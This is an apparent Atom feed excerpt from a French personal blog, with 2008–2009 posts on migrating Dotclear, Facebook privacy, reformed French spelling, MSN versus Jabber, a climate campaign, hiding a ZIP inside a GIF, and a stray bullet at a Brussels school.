&lt;/div&gt;</content></entry><entry><title>Passage en douceur de DC1 à DC2</title><link href="http://blog.namok.be/2009-07-26-Passage-en-douceur-de-DC1-a-DC2.html" rel="alternate"/><published>2009-07-26T00:00:00+02:00</published><updated>2009-07-26T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-07-26:/2009-07-26-Passage-en-douceur-de-DC1-a-DC2.html</id><summary type="html">Grosse mise à jour chez Dotclear</summary><content type="html">&lt;p&gt;Ce WE, je suis seul à la maison et c&amp;rsquo;est l&amp;rsquo;occasion de faire « plein de choses ». Résultat, je me retrouve en train de mettre mon blog à jour en faisant un passage de &lt;a href="//dotclear.org"&gt;Dotclear&lt;/a&gt; 1 à Dotclear 2.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;accord, je pensais le faire depuis longtemps et j&amp;rsquo;avais demandé chez Free &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; une DB de type Postgres plutôt que MySQL. DB qui m&amp;rsquo;avait été attribuée &lt;em&gt;a few month ago&lt;/em&gt;. Bref, en suivant les tutos, il suffit de&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;installer un Dotclear 2 tout neuf,&lt;/li&gt;
&lt;li&gt;de lui demander d&amp;rsquo;aller chercher les données (à insérer dans la DB Postgres) dans la DB existante MySQL (ça s&amp;rsquo;est fait presque sans encombre &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;),&lt;/li&gt;
&lt;li&gt;et de mettre le thème à jour (c&amp;rsquo;est évidemment ce qui prend le plus de temps).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je me suis inspiré de mon ancien thème (pour les couleurs et les p&amp;rsquo;tits brols) et du thème de pep pour la structure de la page. Je n&amp;rsquo;ai évidemment pas testé sur IE mais que ceux qui l&amp;rsquo;utilisent n&amp;rsquo;hésitent pas à me faire un retour.&lt;/p&gt;
&lt;p&gt;Dans les nouveautés par rapport à DC1,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;je vois d&amp;rsquo;emblée une bonne gestion des galeries photos (même si je n&amp;rsquo;ai pas encore pu paramétrer convenablement les pages);&lt;/li&gt;
&lt;li&gt;il existe la possibilité de publier un billet plus tard;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;interface d&amp;rsquo;admin est complètement différente mais tout aussi facile;&lt;/li&gt;
&lt;li&gt;la possibilité de faire facilement des notes de bas de page;&lt;/li&gt;
&lt;li&gt;… et plein d&amp;rsquo;autres choses sans doute.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voilà, je tague ce billet comme « inutile » et j&amp;rsquo;en profite pour ajouter une page à propos au blog.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Le blog est chez free même si plein d&amp;rsquo;autres choses sont chez OVH. Je n&amp;rsquo;en ai pas profité pour changer because plein d&amp;rsquo;images sont déjà chez free.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Il a fallu que je « date » des anciens billets sans date qui n&amp;rsquo;étaient pas acceptés. En vrai, il a d&amp;rsquo;abord fallu que j&amp;rsquo;y pense.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Les nanas au réveil</title><link href="http://blog.namok.be/2009-07-24-les-nanas-au-reveil.html" rel="alternate"/><published>2009-07-24T00:00:00+02:00</published><updated>2009-07-24T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-07-24:/2009-07-24-les-nanas-au-reveil.html</id><summary type="html">Dans la série des petits péchés mignons ; « Les garçons et les sites de rencontres » et « Les Nanas au réveil »</summary><content type="html">&lt;p&gt;&lt;img alt="Photos de dédicaces" src="/images/peches-mignons.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ça y est, je viens de recevoir mon cadeau de la part de Maïa.&lt;/p&gt;
&lt;p&gt;Ce sont les deux tomes des petits péchés mignons écrit par Maïa et dessinés par Arthur de Pins. Et belle surprise, les des deux tomes sont dédicacés par Maïa herself qui s&amp;rsquo;est fendue d&amp;rsquo;un beau dessin, de signatures, etc. pour l&amp;rsquo;occasion.&lt;/p&gt;
&lt;p&gt;Comme toutes BD — outre le fait que je suis super content d&amp;rsquo;voir reçu un cadeau — il y a du bon et du moins bon. J&amp;rsquo;ai bien ri sur plusieurs gags. J&amp;rsquo;ai trouvé le tome « Les garçons sur les site de rencontre »  plus drôle que celui sur les « Nanas au réveil ». En fait j&amp;rsquo;aime beaucoup les strips et j&amp;rsquo;aime un peu moins les présentations des différents types de garçons/filles.&lt;/p&gt;
&lt;p&gt;Encore merci pour le cadeau (si j&amp;rsquo;en fait trop faut le dire).&lt;/p&gt;</content></entry><entry><title>Facebook et big brother</title><link href="http://blog.namok.be/2009-05-27-235-facebook-et-big-brother.html" rel="alternate"/><published>2009-05-27T00:00:00+02:00</published><updated>2009-05-27T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-05-27:/2009-05-27-235-facebook-et-big-brother.html</id><summary type="html">Facebook et big brother</summary><content type="html">&lt;p&gt;Ce soir, il y a une émission sur Facebook à la RTBF et c&amp;rsquo;est &lt;strong&gt;très drôle&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Est-ce une atteinte à la vie privée et est-ce que je peux — en tant qu&amp;rsquo;enseignant — être amis avec des étudiants ? Ce qui est assez drôle c&amp;rsquo;est que déjà certains de mes collègues n&amp;rsquo;aiment pas trop l&amp;rsquo;idée d&amp;rsquo;un forum mis à disposition des étudiants. Alors Facebook. Que faut-il en penser ?&lt;/p&gt;
&lt;p&gt;Comme tous les outils sur internet (blogs, Twitter, LinkedIn, Flickr, YouPorn (!)… ) — et ce n&amp;rsquo;est pas du tout neuf — je pense qu&amp;rsquo;il faut que l&amp;rsquo;utilisateur soit attentif. Malheureusement, sur internet les utilisateurs sont vraiment « cons ». Je veux dire par là qu&amp;rsquo;une certaine majorité n&amp;rsquo;agit pas de la même manière sur internet que lors de l&amp;rsquo;achat d&amp;rsquo;une voiture, lors de rencontres avec des amis, lors d&amp;rsquo;échanges professionnels, etc. Ils sont sur internet comme de petits enfants naïfs, exigeants… et finalement surpris du résultat.&lt;/p&gt;
&lt;p&gt;La première partie de l&amp;rsquo;émission est assez caricaturale (du moins j&amp;rsquo;espère); un gars qui s&amp;rsquo;est fait « gronder » par son coach car il a menti et n&amp;rsquo;a pas été à l&amp;rsquo;entrainement, des couples affirmant que la surveillance du conjoint (j&amp;rsquo;imagine les gars qui draguent via FB et qui sont surpris que leur femme râle), etc.&lt;br&gt;
Peut-on imaginer que des utilisateurs ont une activité « parallèle » et ne s&amp;rsquo;arrangent pas pour être anonyme ?&lt;br&gt;
Peut-on également affirmer que c&amp;rsquo;est être une dérive que de ne pas cautionner le mensonge ?&lt;/p&gt;
&lt;p&gt;Ensuite, viennent les célébrités et c&amp;rsquo;est dommage de voir qu&amp;rsquo;elles sont assaillies par une multitude de curieux.&lt;br&gt;
Devraient-elles recourir à l&amp;rsquo;anonymat ?&lt;br&gt;
Est-ce possible sur FB ? &lt;/p&gt;
&lt;p&gt;Cet anonymat n&amp;rsquo;est en tout cas pas possible si l&amp;rsquo;on veut avoir des amis que l&amp;rsquo;on connait et si l&amp;rsquo;on accepte d&amp;rsquo;être tagué sur une photo. Je trouve cependant bien que ces personnes célèbres aient un profil FB. Elles ne devraient cependant pas accepter « n&amp;rsquo;importe qui » comme ami. D&amp;rsquo;ailleurs, on est informé lorsque l&amp;rsquo;on devient ami mais je ne suis pas sur que l&amp;rsquo;on soit informé lorsque l&amp;rsquo;on rompt se « lien d&amp;rsquo;amitié ». Personnellement, il m&amp;rsquo;arrive régulièrement de demander des infos avant d&amp;rsquo;accepter une amitié (ce terme me fait trop rire).&lt;/p&gt;
&lt;p&gt;On peut constater ensuite que l&amp;rsquo;on retombe dans une utilisation basique — au sens un peu bête — de l&amp;rsquo;outil : on joue &lt;em&gt;à qui a la plus grosse&lt;/em&gt; (en nombre d&amp;rsquo;amis), on utilise des applications plus bête les unes que les autres (faire pipi ou caca sur le mur de l&amp;rsquo;autre, essayer de savoir qui nous observe ou ce que les autres pensent de nous), etc. Et dans ces applications il y a toutes celles — et elles sont nombreuses — qui leurrent l&amp;rsquo;utilisateur (Qui te regarde ? Que pense machin de toi ? Es-tu un bon baiseur ? Quel est ton QI, etc.). Ces dernières applications demandent à chaque fois explicitement si l&amp;rsquo;on est d&amp;rsquo;accord de partager des informations.&lt;/p&gt;
&lt;p&gt;Je ne suis pas plus malin qu&amp;rsquo;un autre — loin de là, je sais ;-) &amp;ndash; mais je suis persuadé que si l&amp;rsquo;utilisation que l&amp;rsquo;on en fait est raisonnée, FB peut-être très sympa.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FB me permet de garder le contact avec, non pas des amis, mais des copains, des connaissances. Parmi eux il y a aussi des amis avec qui on a de toute façon le contact par un autre biais ;&lt;/li&gt;
&lt;li&gt;d&amp;rsquo;apprendre à connaitre des étudiants (leur centre d&amp;rsquo;intérêt par exemple) tout en gardant une certaine réserve (je rappelle que mes étudiants ont tous &amp;gt;18 ans et que ce ne sont pas de jeunes coq de 15 ans avec qui je garderais plus que probablement une plus grande distance. Je précise également que j&amp;rsquo;accepte tous mes étudiants que je regroupe consciencieusement dans le groupe &lt;em&gt;qui va bien&lt;/em&gt;) ;&lt;/li&gt;
&lt;li&gt;de garder le contact avec d&amp;rsquo;anciens étudiants et éventuellement les recontacter dans le cadre professionnel (pour qu&amp;rsquo;ils accueillent des étudiants en stage par exemple, ou pour qu&amp;rsquo;ils viennent faire une conférence à l&amp;rsquo;école, ou simplement pour savoir quels sont les métiers qu&amp;rsquo;ils exercent) ;&lt;/li&gt;
&lt;li&gt;d&amp;rsquo;être un peu voyeur — et oui, il faut l&amp;rsquo;avouer — et regarder les photos des amis et des amis des amis voire leurs discutions personnelles sur leur « mur » ;&lt;/li&gt;
&lt;li&gt;d&amp;rsquo;être ludique en partageant des vidéos drôles ;&lt;/li&gt;
&lt;li&gt;d&amp;rsquo;utiliser la possibilité de « cacher » des amis et d&amp;rsquo;ainsi ne pas voir ce qu&amp;rsquo;ils font, ce qu&amp;rsquo;ils postent, de « cacher » aussi certaines applications (Argh ! Je ne sais donc jamais quand quelqu&amp;rsquo;un fait caca sur le mur d&amp;rsquo;un autre… là une limite loin d&amp;rsquo;être anodine est franchie).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les politiques ne m&amp;rsquo;importunent pas (je ne suis pas demandeur d&amp;rsquo;amitié à leur égard), les pubs sont discrètes, les applications que je juge inutiles ne sont pas installées… bref je pense que l&amp;rsquo;info que je diffuse est « volontaire ». Mais, évidemment, je fais un peu attention à mon activité sur FB; si je veux m&amp;rsquo;abonner à &lt;a href="//bonjourmadame.fr"&gt;Bonjour Madame&lt;/a&gt;, je ne le crie pas sur FB. Mais je le dis sur mon blog. E et m**de, le lien de l&amp;rsquo;article sera posté automatiquement sur FB, je suis grillé. LOL.&lt;/p&gt;
&lt;p&gt;Pour conclure cet article — qui sera lu par un nombre impressionnant de lecteurs (au vu des stats c&amp;rsquo;est affligeant) — l&amp;rsquo;émission se termine par notre ami Michel Dardenne &amp;ndash; il faut vraiment que je me lance dans la politique &amp;ndash; qui se reconnait être très peu familier avec l&amp;rsquo;informatique, je cite&lt;/p&gt;
&lt;p&gt;Le journaliste: « On peut aller voir vos mails ? »&lt;br&gt;
Michel Dardenne à son assistante: « Allez, vas-y. »&lt;/p&gt;
&lt;p&gt;et je termine en réaffirmant que:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« Respect de la vie privée et clics à tout va ne peuvent pas aller de paire. »&lt;/p&gt;
&lt;/blockquote&gt;</content></entry><entry><title>How to be a boyfriend ?</title><link href="http://blog.namok.be/2009-04-30-231-how-to-be-a-boyfriend.html" rel="alternate"/><published>2009-04-30T00:00:00+02:00</published><updated>2009-04-30T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-04-30:/2009-04-30-231-how-to-be-a-boyfriend.html</id><summary type="html">How to be a boyfriend ?</summary><content type="html">&lt;p&gt;Oh god ! Is this possible ?&lt;/p&gt;
&lt;p&gt;Ça semble difficile… &lt;/p&gt;
&lt;div class="iframe-container"&gt;
&lt;iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/CAEKtgAr01I?si=vI5YKTWgAA-ej7Sk" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://youtu.be/CAEKtgAr01I?si=vI5YKTWgAA-ej7Sk"&gt;Lien Youtube&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;mais heureusement, il existe l&amp;rsquo;autre mode d&amp;rsquo;emploi. &lt;/p&gt;
&lt;div class="iframe-container"&gt;
&lt;iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/GqzcF7zxZNE?si=GRyzV3b35nya6Bxm" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://youtu.be/GqzcF7zxZNE?si=GRyzV3b35nya6Bxm"&gt;Lien Youtube&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Nouvelle orthographe</title><link href="http://blog.namok.be/2009-03-05-226-nouvelle-orthographe.html" rel="alternate"/><published>2009-03-05T00:00:00+01:00</published><updated>2009-03-05T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-03-05:/2009-03-05-226-nouvelle-orthographe.html</id><summary type="html">L'orthographe réformée ou la nouvelle orthographe</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/Les_fautes_d__orthographe_by_m0rphine_x_2.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;(Attention, ce billet est rédigé en orthographe nouvelle. J&amp;rsquo;espère sans faute mais ce n&amp;rsquo;est pas gagné)&lt;/p&gt;
&lt;p&gt;Je pense que c&amp;rsquo;est le bon moment de s&amp;rsquo;y mettre puisque je viens de trouver un &lt;a href="http://www.orthographe-recommandee.info/"&gt;lien assez intéressant&lt;/a&gt; qui en parle. Pour les décideurs pressés, ils proposent un mini-guide reprenant les 10 règles de base &lt;a href="/pdf/orthographereformee-miniguide.pdf"&gt;pdf&lt;/a&gt;. Et pour rassurer les peureux, rappelons que ceci reste une recommandation et qu&amp;rsquo;aucune des deux orthographes n&amp;rsquo;est fautive.&lt;/p&gt;
&lt;p&gt;Je me permets de copier-coller les principales règles ici &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les numéraux composés sont systématiquement reliés par des traits d&amp;rsquo;union.&lt;br&gt;
&lt;em&gt;Exemples : vingt-et-un, deux-cents, trente-et-unième&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dans les noms composés du type pèse-lettre (verbe + nom) ou sans-abri (préposition + nom), le second élément prend la marque du pluriel seulement et toujours lorsque le mot est au pluriel.&lt;br&gt;
&lt;em&gt;Exemples : un compte-goutte, des compte-gouttes ; un après-midi, des après-midis&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On emploie l&amp;rsquo;accent grave (plutôt que l&amp;rsquo;accent aigu) dans un certain nombre de mots (pour régulariser leur orthographe), et au futur et au conditionnel des verbes qui se conjuguent sur le modèle de céder.&lt;br&gt;
&lt;em&gt;Exemples : évènement, règlementaire, je cèderai, ils règleraient&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L&amp;rsquo;accent circonflexe disparait sur i et u. On le maintient néanmoins dans les terminaisons verbales du passé simple, du subjonctif, et dans cinq cas d&amp;rsquo;ambigüité.&lt;br&gt;
&lt;em&gt;Exemples : cout ; entrainer, nous entrainons ; paraitre, il parait&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les verbes en -eler ou -eter se conjuguent comme peler ou acheter. Les dérivés en -ment suivent les verbes correspondants. Font exception à cette règle appeler, jeter et leurs composés (y compris interpeler).&lt;br&gt;
&lt;em&gt;Exemples : j&amp;rsquo;amoncèle, amoncèlement, tu époussèteras&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les mots empruntés forment leur pluriel de la même manière que les mots français et sont accentués conformément aux règles qui s&amp;rsquo;appliquent aux mots français.&lt;br&gt;
&lt;em&gt;Exemples : des matchs, des miss, révolver&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La soudure s&amp;rsquo;impose dans un certain nombre de mots, en particulier dans les mots composés de contr(e)- et entr(e)-, dans les mots composés de extra-, infra-, intra-, ultra-, dans les mots composés avec des éléments « savants » et dans les onomatopées et dans les mots d&amp;rsquo;origine étrangère.&lt;br&gt;
&lt;em&gt;Exemples : contrappel, entretemps, extraterrestre, tictac, weekend, portemonnaie&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les mots anciennement en -olle et les verbes anciennement en -otter s&amp;rsquo;écrivent avec une consonne simple. Les dérivés du verbe ont aussi une consonne simple. Font exception à cette règle colle, folle, molle et les mots de la même famille qu&amp;rsquo;un nom en -otte (comme botter, de botte).&lt;br&gt;
&lt;em&gt;Exemples : corole ; frisoter, frisotis&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le tréma est déplacé sur la lettre u prononcée dans les suites -güe- et -güi-, et est ajouté dans quelques mots.&lt;br&gt;
_Exemples : aigüe, ambigüe ; ambigüité ; argüer__&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dans la pratique, dès que je ne suis pas sur de l&amp;rsquo;orthographe d&amp;rsquo;un mot, je demande à &lt;a href="renouvo.org"&gt;renouvo.org&lt;/a&gt; de la confirmer. Je recommande chaudement.&lt;/p&gt;
&lt;p&gt;La recommandation pour la nouvelle orthographe date de &lt;strong&gt;1990&lt;/strong&gt; et est toujours assez peu répandue. Je sais que l&amp;rsquo;homme est réfractaire aux changements et pourtant. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="//renouvo.org"&gt;renouvo.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="//orthographe-recommandee.info"&gt;orthographe-recommandee.info&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://m0rphine-x.deviantart.com/art/Les-fautes-d-orthographe-103374375"&gt;deviantart par mOrphine-x&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Normalement, je ne viole aucune règle de droits d&amp;rsquo;auteur en diffusant un extrait d&amp;rsquo;un document dans une optique d&amp;rsquo;illustration et en renseignant la source.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>MSN, Jabber et clients multiprotocols.</title><link href="http://blog.namok.be/2009-02-17-225-msn-jabber-et-clients-multiprotocol.html" rel="alternate"/><published>2009-02-17T00:00:00+01:00</published><updated>2009-02-17T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-02-17:/2009-02-17-225-msn-jabber-et-clients-multiprotocol.html</id><summary type="html">MSN, Jabber et clients multiprotocols.</summary><content type="html">&lt;p&gt;Je reçois ce matin une note de Jabber m&amp;rsquo;informant que l&amp;rsquo;APINC met fin aux passerelles Jabber. « Ok, merci pour l&amp;rsquo;info » me dis-je et « &lt;em&gt;I don&amp;rsquo;t care&lt;/em&gt; » puisque j&amp;rsquo;utilise un client multiprotocoles (Pidgin pour ne pas le citer) mais les hasards du net…&lt;/p&gt;
&lt;p&gt;… m&amp;rsquo;emportent sur un lien chez Microsoft (MSN) renseignant les logiciels autorisés à se connecter à MSN. Je ne vois pas apparaître Pidgin ni beaucoup d&amp;rsquo;autres non plus.&lt;/p&gt;
&lt;p&gt;En fait, les conditions d&amp;rsquo;utilisation de Messenger sont claires, je ne peux utiliser que MSN Messenger comme client MSN. C&amp;rsquo;est « un peu » restrictif.&lt;/p&gt;
&lt;p&gt;Que faire ?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rappelez à tous que l&amp;rsquo;on peut utiliser Jabber comme protocole de messagerie instantanée. Et que l&amp;rsquo;on peut choisir son client… et l&amp;rsquo;on choisit aussi ses amis puisque seuls quelques &lt;em&gt;geeks&lt;/em&gt; sont sur Jabber et on ne sait pas pourquoi.&lt;/li&gt;
&lt;li&gt;Continuez à utiliser des clients non-officiels et interdits par Microsoft pour discuter avec des amis incapables (j&amp;rsquo;espère que c&amp;rsquo;est de la mauvaise volonté) d&amp;rsquo;utiliser autre chose que hotmail et MSN.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Perso, j&amp;rsquo;ai choisi, je diffuse mon adresse Jabber et je donne l&amp;rsquo;autre sur demande.&lt;/p&gt;</content></entry><entry><title>The big ask</title><link href="http://blog.namok.be/2008-12-10-220-the-big-ask.html" rel="alternate"/><published>2008-12-10T00:00:00+01:00</published><updated>2008-12-10T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-12-10:/2008-12-10-220-the-big-ask.html</id><summary type="html">La lutte contre le réchauffement climatique</summary><content type="html">&lt;p&gt;&lt;img alt="Act the fuck now écrit sur le sable" src="/images/thebigask-2008.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Je relaye une campagne de sensibilisation à la lutte contre le réchauffement climatique. En résumé, les acteurs veulent insister sur le fait qu&amp;rsquo;il sera bientôt trop tard que pour faire marche arrière et qu&amp;rsquo;il est plus que temps d&amp;rsquo;arrêter de tergiverser et d&amp;rsquo;agir contre le réchauffement. Comme le clip est bien fait, je vous le livre.&lt;/p&gt;
&lt;p&gt;Vous pouvez envoyer la pétition vidéo (un nouveau concept) aux membres du parlement en un simple clic ou commander des cartes postales et des affiches (toujours en un simple clic mais les liens sont morts).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nous avons besoin d&amp;rsquo;une législation stricte autour du climat, la Belgique est l&amp;rsquo;un des plus mauvais élèves de la classe dans cette matière, et en reste au stade des vaines promesses et des demi-mesures. Entre temps, au Royaume-Uni, une loi climatique a été adoptée. Aidez-nous à faire en sorte que cela arrive ici aussi.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Le 10 Août, plus de 6.000 personnes ont participé au tournage du vidéoclip “The Big Ask” à Ostende, une prestation unique, entièrement portée par des bénévoles (toute l&amp;rsquo;équipe du tournage, la maison de production, les compositeurs Alex Callier et Cédric Murrath de Hooverphonic, l&amp;rsquo;intendance, les figurants, …). A présent, le moment est venu de dévoiler le résultat au monde entier et de le partager avec tout le monde!&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Visionnez donc notre vidéoclip sur cette page. Ensuite, faites quelque chose, ACT NOW!&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Confrontez les décideurs politiques aux faits. Envoyez ce clip à vos amis, votre famille, vos connaissances et collègues. Signez la pétition-vidéo et demandez-leur de faire de même.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Criez aussi fort que vous le pouvez, gueulez même dans le train, au travail et au milieu de la rue : ACT THE F&lt;em&gt;CK NOW!!! (Il est temps d&amp;rsquo;agir, b&lt;/em&gt;rdel !!)&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Cette campagne est menée simultanément dans pas moins de 17 pays. Et la boule de neige ne cesse de grossir, avec votre aide … assez de blabla, il est temps d&amp;rsquo;agir!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="iframe-container"&gt;
&lt;iframe src="https://www.youtube-nocookie.com/embed/c5RVix7vsnU?si=dp7nRuoSvSXtjAEE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://youtu.be/c5RVix7vsnU?si=QEEWENetl-uGr2Nb"&gt;Lien YouTube&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Cacher un zip dans un gif</title><link href="http://blog.namok.be/2008-11-11-216-cacher-un-zip-dans-un-gif.html" rel="alternate"/><published>2008-11-11T00:00:00+01:00</published><updated>2008-11-11T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-11-11:/2008-11-11-216-cacher-un-zip-dans-un-gif.html</id><summary type="html">Cacher un zip dans un gif</summary><content type="html">&lt;p&gt;C&amp;rsquo;est sans doute vieux comme le monde mais je le découvre aujourd&amp;rsquo;hui sur le blog de Tuxargon.&lt;/p&gt;
&lt;p&gt;On peut cacher un fichier ZIP dans une image GIF et ce très facilement. Un fichier GIF est lu à partir du début et contient dans son entête le nombre d&amp;rsquo;octets utiles (le reste étant ignoré) et les fichiers ZIP (format) font la même chose mais commencent à lire à la fin.&lt;/p&gt;
&lt;p&gt;Il suffit tout simplement d&amp;rsquo;ajouter le fichier ZIP à la fin du fichier GIF pour l&amp;rsquo;y cacher et de simplement &lt;em&gt;unzipper&lt;/em&gt; pour récupérer les fichiers de l&amp;rsquo;archive.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$cat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;zipfile.zip&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;imagefile.gif
&lt;span class="nv"&gt;$unzip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;imagefile.gif&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content></entry><entry><title>Des coups de feu dans une école supérieure d'informatique</title><link href="http://blog.namok.be/2008-10-14-212-des-coups-de-feu-dans-une-ecole-superieure-d-informatique.html" rel="alternate"/><published>2008-10-14T00:00:00+02:00</published><updated>2008-10-14T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2008-10-14:/2008-10-14-212-des-coups-de-feu-dans-une-ecole-superieure-d-informatique.html</id><summary type="html">Un matin nous avons constaté qu'un coup de feu avait été tiré de la rue et atterri dans le plafond d'une classe.</summary><content type="html">&lt;p&gt;&lt;em&gt;(Et hop ! Un titre racoleur, un brin exagéré afin de capter l&amp;rsquo;attention des nombreux lecteurs et de Google).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ce Lundi matin des coups de feu ont été tirés dans une école d&amp;rsquo;informatique, l&amp;rsquo;ÉSI, située rue Royale à Bruxelles. Il semblerait qu&amp;rsquo;aucun professeur ni étudiant n&amp;rsquo;aie été touché. La catastrophe a pu être évitée. Tout semble rentré dans l&amp;rsquo;ordre et il ne subsiste aucune frayeur au sein de l&amp;rsquo;école.&lt;/p&gt;
&lt;p&gt;(Ça c&amp;rsquo;est l&amp;rsquo;accroche volontairement mensongère afin que le lecteur clique sur lire la suite. Les lecteurs de la DH sont habitués et arrêtent de lire maintenant… les décideurs pressés aussi. J&amp;rsquo;ai bien dit que cette accroche était mensongère, la vérité suit)&lt;/p&gt;
&lt;p&gt;Ce ne sont pas des coups de feu mais un coup de feu qui a été tiré dans l&amp;rsquo;école et ce, pendant la nuit. Nous avons simplement constaté le matin qu&amp;rsquo;un trou de balle — j&amp;rsquo;ajoute « pénétrer » et « étudiante » et Google me ramènera plein de vues — était là, béant au milieu de la fenêtre et qu&amp;rsquo;une balle se trouvait encastrée dans le plafond. Voilà c&amp;rsquo;est tout, pas de quoi en faire tout une histoire mais la police est descendue (c&amp;rsquo;est au quatrième étage, quelle expression bizarre) et ça a pu jaser un peu (surtout moi en fait).&lt;/p&gt;
&lt;p&gt;Quoique…&lt;/p&gt;
